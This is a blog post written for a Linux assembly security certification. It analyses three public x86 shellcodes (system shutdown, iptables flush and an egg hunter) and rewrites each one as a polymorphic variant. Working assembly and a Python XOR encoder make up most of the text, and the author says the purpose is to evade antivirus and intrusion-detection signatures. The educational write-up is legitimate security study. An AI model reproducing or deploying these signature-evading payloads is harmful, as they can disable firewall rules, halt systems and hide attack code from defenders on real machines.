Tuesday 11 August 2015

SLAE Assignment #6: Polymorphism


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the sixth exercise requested about modifying three shellcode to add polymorphism. Code can be found at my GitHub SLAE repository.


6.1 SHUTDOWN SHELLCODE
___________________________________________________
I selected as first shellcode from shell-storm a "shutdown" one: http://shell-storm.org/shellcode/files/shellcode-876.php

Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:

; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)

; Analysis by: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 ;int execve(const char *filename, char *const argv[], char *const envp[]

 xor eax,eax   ; zero out eax
 xor edx,edx   ; zero out edx
 push eax   ; push NULL terminating string
 push word 0x682d  ; \x2d\x68 = '-h'
 mov edi,esp   ; edi = *ptr '-h'
 push eax   ; push NULL
 push byte 0x6e   ; \x6e = 'n'
 mov word [esp+0x1],0x776f ; \x6f\x55 = 'ow'
 mov edi,esp   ; edi = *argv '-h now'
 push eax   ; push NULL
 push dword 0x6e776f64  ; = 'down'
 push dword 0x74756873  ; = 'shut'
 push dword 0x2f2f2f6e  ; = 'n///'
 push dword 0x6962732f  ; = '/sbi'
 mov ebx,esp   ; ebx = *filename '/sbin///shutdown' 0x00

 push edx   ; push NULL on stack
 push esi   ; value ??
 push edi   ; edi = *argv '-h now'
 push ebx   ; *filename '/sbin///shutdown' 0x00
 mov ecx,esp   ; ecx = *argv[*filename '/sbin///shutdown' '-h'

 ; ebx = *filename
 ; ecx = *argv[*filename, *'-h now']
 ; edx = *envp = 0x00

 mov al,0xb   ; execve() syscall number
 int 0x80   ; execve(*/sbin///shutdown, *-h now, 0x00)
This shellcode is basically doing an execve(shutdown -h), in 56 bytes. Now, it's time to make a polymorphic version of it. Polymorphism is a way to modify a shellcode/program as to make it look like different, while still keeping the same functionalities. The purpose is to evade traditional AV/IDS signatures by modifying the shellcode. The more polymorphism added, the greater the final size will be. Therefore there is a trade-off to find between polymorphism and shellcode size.

The first question to ask ourself, is what in my current shellcode could be fingerprinted to make a signature? The first obvious answer is the strings: here we have "/sbin/shutdown -h". So in this first exercise, we will focus on scrambling the strings. To do that, I made a simple XOR encoding python program, that you can see below:


#!/usr/bin/python

# Title: XOR encoder
# File: xorencoder.py
# Author: Guillaume Kaddouch
# SLAE-681

import sys

shellcode = (
"\x77\x6f\x6e"                   # = now

#push dword 0x6e776f64           ; = 'down'
#"\x6e\x77\x6f\x64"

#push dword 0x74756873           ; = 'shut'
#"\x74\x75\x68\x73"

#push dword 0x2f6e6962           ; = '/nib'
#"\x2f\x6e\x69\x62"

#push word 0x732f      
#"\x73\x2f"
)

xor_key = 0xAA

encoded = ""
encoded2 = ""

print "[*] Encoding shellcode..."

for x in bytearray(shellcode):
    # XOR encoding
    y = x^xor_key
    encoded += '\\x'
    encoded += '%02x' % y

    encoded2 += '0x'
    encoded2 += '%02x,' %y

print "hex version : %s" % encoded
print ""
print "nasm version : %s" % encoded2
print ""
print 'Len: %d' % len(bytearray(shellcode))

As an example of encoding "now" with 0xAA:



Now the whole polymorphic version:
 
; Polymorphic version of http://shell-storm.org/shellcode/files/shellcode-876.php
; 83 bytes (original 56 bytes)
; Kaddouch Guillaume
; SLAE-681


global _start

section .text

_start:
  ;int execve(const char *filename, char *const argv[], char *const envp[]

 xor eax, eax    ; zero out eax
 push eax    ; push NULL terminating string

 push word 0xc287   ; XORed '-h' with 0xAA
 xor word [esp], 0xaaaa   ; XOR back string to clear text '-h'
 push eax    ; push NULL
 push dword 0x776f6eAA   ; = 'now'
 mov [esp], byte al   ; \x00 = NULL
 mov edi, esp    ; edi = *'-h now'

 push eax    ; push NULL

 mov ebx, dword 0xc4ddc5ce   ; XORed 'down' with 0xAA
 xor ebx, 0xaaaaaaaa    ; XOR back the string to clear text
 push ebx     ; string 'down'

 mov ebx, dword 0x63645762   ; encoded 'shut' decreased by 0x11111111
 add ebx, 0x11111111    ; convert back the string to clear text
 push ebx     ; string 'shut'

        mov ebx, dword 0x85c4c3c8   ; XORed 'bin/' with 0xAA
 xor ebx, 0xaaaaaaaa    ; XOR back the string to clear text
 push ebx     ; string 'bin/'

 mov bx, 0x6129     ; encoded '/s' decreased by 0x1206
 add bx, 0x1206     ; convert back the string to clear text
 push bx      ; string '/s'

 ; clear string on stack = /sbin/shutdown

 mov ebx, esp    ; ebx = *filename '/sbin///shutdown' 0x00

 push eax
 push edi    ; edi = *argv '-h now'
 push ebx    ; *filename '/sbin///shutdown' 0x00
 mov ecx,esp    ; ecx = *argv[*filename '/sbin///shutdown' '-h'

 ; ebx = *filename
 ; ecx = *argv[*filename, *'-h now']
 ; edx = *envp = 0x00

 mov al,0xb    ; execve() syscall number
 int 0x80    ; execve(*/sbin///shutdown, *-h now, 0x00)

 
You can notice that we used various methods to encode the string chunks: 1) XOR 0xaa encoding, 2) INC 0x11111111, 3) ADD 0x1206, 4) and no encoding for the string "now". The point is to avoid a classic encoding/decoding loop that could also be fingerprinted. By using multiple methods, we of course also increase the shellcode size, from 56 bytes to 83 bytes. I am sure you can understand I cannot show you any screenshot of a "working" shutdown shellcode :-) I can at least show the decoding happening in a debugguer:

push word 0xc287 ; XORed '-h' with 0xAA


xor word [esp], 0xaaaa ; XOR back string to clear text '-h'


mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA


xor ebx, 0xaaaaaaaa ; XOR back the string to clear text


push ebx ; string 'down'


We can notice that the strings are rendered correctly.


6.2 IPTABLES -F SHELLCODE
___________________________________________________
I selected as second shellcode from shell-storm, an "iptables flush" one: http://shell-storm.org/shellcode/files/shellcode-825.php

Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
 
; Linux/x86 iptables --flush 43 bytes
; Author : Hamza Megahed

; Analysis by Guillaume Kaddouch
; SLAE-681



global _start

section .text

_start:

  ; int execve(const char *filename, char *const argv[], char *const envp[]);


 xor eax,eax     ; zero out eax
 push eax     ; push NULL terminating string on stack
 push word 0x462d    ; push '-F' on stack
 mov esi,esp     ; esi = *ptr to '-F' argument

 push eax     ; push NULL terminating string on stack
 push dword 0x73656c62    ; bles
 push dword 0x61747069    ; ipta
 push dword 0x2f6e6962    ; bin/
 push dword 0x732f2f2f    ; ///s
 mov ebx,esp     ; ebx = *ptr to '///sbin/iptables'

 push eax     ; push NULL
 push esi     ; *ptr to -F
 push ebx     ; 1st arg: *filename ///sbin/iptables
 mov ecx,esp     ; 2nd arg: *argv [*filename, -F]
 mov edx,eax     ; 3rd arg: *envp = 0x00

 mov al,0xb     ; 0xb = execve()
 int 0x80     ; execve(*filename, *argv, *envp)
This shellcode is basically doing an execve(iptables -F), in 43 bytes. Now, it's time to make a polymorphic version of it. As the previous shellcode, we will make sure the string is no longer stored in whole plain text to avoid fingerprinting. We will use other tricks as well we didn't use in the previous polymorphic shellcode.

 
; Polymorphic version of "iptables -flush" shellcode from http://shell-storm.org/shellcode/files/shellcode-825.php
; 61 bytes (original shellcode 43 bytes)
; Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

  ; int execve(const char *filename, char *const argv[], char *const envp[]);

 pxor mm0, mm1     ; decoil instruction

 xor eax,eax     ; zero out eax
 mov [esp], eax     ; push NULL on stack, manually
 sub esp, 0x4     ; decrement ESP manually

 push word 0x462d    ; push '-F' on stack
 mov esi,esp     ; esi = *ptr to '-F' argument

 push eax     ; push NULL terminating string on stack
 push dword 0x73656c62    ; 'bles'

 mov edx, 0x50636058    ; encoded 'ipta' string
 add edx, 0x11111011    ; convert back 'ipta' to clear text
 push edx

 push dword 0x2f6e6962    ; bin/
 push dword 0x732f2f2f    ; ///s
 mov ebx,esp     ; ebx = *ptr to '///sbin/iptables'

 push eax     ; push NULL
 push esi     ; *ptr to -F

 cdq      ; decoil instruction

 push ebx     ; 1st arg: *filename ///sbin/iptables
 mov ecx,esp     ; 2nd arg: *argv [*filename, -F]
 mov edx,eax     ; 3rd arg: *envp = 0x00

 mov al,0xa     ; syscall we won't call
 inc al      ; 0xa + 0x1 = 0xb = execve()
 int 0x80     ; execve(*filename, *argv, *envp)

In this example, we encode only part of the "/sbin/iptables -F" string, which is "/sbin/X`cPbles -F". The purpose is to not oversize our polymorphism, to let room for other polymorphic instructions. It may not be necessary to encode the whole command, as a fingerprint on "iptables" string would already not match. Also, it gives us room to use other methods. First one is to add junk instructions in the middle of the code, that does nothing to accomplish our purpose of flushing iptables. It is the case of the MMX instructions added or the "cdq" instruction. Also, instead of doing a clean "push" instruction, we can do the same manually by copying data on the stack, and then adjusting ESP. It still does the same, but further move our shellcode away from a signature for the original version. Finally, the syscall number copied into eax at the end is the wrong one, and is corrected before the syscall occurs. They are all tiny modifications that together modify the fingerprint of the shellcode. Now we can test our shellcode, first we create an iptables rule:



Now let's assemble our shellcode and execute it. Finally check our rules:



We can see that our ACCEPT rule has been correctly deleted by the flush command. Execution is successful, and our shellcode is now polymorphic.



6.3 EGG HUNTER SHELLCODE
___________________________________________________
I selected as third shellcode from shell-storm, an egg hunter one: http://shell-storm.org/shellcode/files/shellcode-839.php

Only hexadecimal shellcode is given on the link, we have to disassemble it first:



Now let's analyse it:

 
 ; Title: Egg Hunter Shellcode
 ; Author: Geyslan G. Bem, Hacking bits
 
; Analysis by Guillaume Kaddouch
; SLAE-681


 global _start

section .text

_start:

 cld     ; clear DF flag
 xor ecx,ecx    ; zero out ecx
 mul ecx     ; zero out eax and edx

next_page:

 or dx,0xfff    ; page aligment: if memory is invalid, skip to the next page

next_address:

 inc edx    ; check next memory address
 push byte 0x21    ; 0x21 = 33 = access() syscall
 pop eax
 lea ebx, [edx+0x4]   ; 1st arg: ebx = next memory to check (=edx+4)
 int 0x80    ; eax = access(*memory, 0x0)
 cmp al,0xf2    ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1)
 jz next_page

 mov eax,0x50905090   ; if address not invalid, store egg signature into eax
 mov edi,edx    ; store current memory content into edi
 scasd     ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4.
 jnz next_address   ; if not our egg, jump to next address
 scasd     ; if it is our egg, check next address is equal to our egg too
 jnz next_address  ; if not, jump to the next address, going first to a decoil jump
 jmp edi     ; our egg was found, jump to shellcode (edi+8)
This egg hunter inspects the whole process memory looking for the egg, twice, and then jump to the shellcode. Now let's try to make a polymorphic version of it:

 
; Polymorphic version or egg hunter from http://shell-storm.org/shellcode/files/shellcode-839.php
; 57 bytes (original size 38 bytes)
; Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

 xor eax, eax   ; zero out eax
 xor edx, edx   ; zero out edx
 cld    ; clear DF flag
 xor ecx,ecx   ; zero out ecx

next_page:

 fldz
 or dx,0xfff   ; page aligment: if memory is invalid, skip to the next page

next_address:

 add edx, 0x1   ; check next memory address
 push byte 0x20   ; 0x20 = 32 = getpid() syscall
 pop eax
 lea ebx, [edx+0x6-0x2]  ; 1st arg: ebx = next memory to check (=edx+4)
 inc eax    ; 0x21 = 33 = access() syscall
 int 0x80   ; eax = access(*memory, 0x0)
 cmp al,0xf2   ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1)
 jz next_page

 mov eax,0x40804080  ; if address not invalid, store obfuscated egg signature into eax
 add eax, 0x10101010  ; fix egg signature = 0x50905090
 mov edi,edx   ; store current memory content into edi
 scasd    ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4.
 jnz next_address  ; if not our egg, jump to next address
 scasd    ; if it is our egg, check next address is equal to our egg too
 jnz decoil   ; if not, jump to the next address, going first to a decoil jump
 jmp edi    ; our egg was found, jump to shellcode (edi+8)

decoil:
 mov dword esi, 0x11112345 ; I like moving data around for no reason
 jmp short next_address  ; now get back to work
In this polymorphic version, we combine many methods we used before. First, we modify the begining of the shellcode by using different instructions to zero out registers. We insert a junk instruction in between, and we push a wrong syscall value into eax, before correcting it further (and not immediately this time). The LEA instruction is slighly modified, and the egg signature is obfuscated before being moved into eax register, and is fixed just after. Finally, an additional jump has been added to modify the workflow of the shellcode, jumping at a place doing a bogus instruction, before jumping back where it should, following execution. The shellcode increased from 38 bytes to 57 bytes in the process. Now let's check it works:



Putting the shellcode into a C file, compile it and execute it:





We can see that our polymorphic shellcode is working and jumps to the target shellcode, displaying "Egg Mark" on the screen. We can test removing part of the egg signature on the target shellcode and see what happens:





The program seems to loop indefinitely, as it never finds the egg signature twice in a row.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


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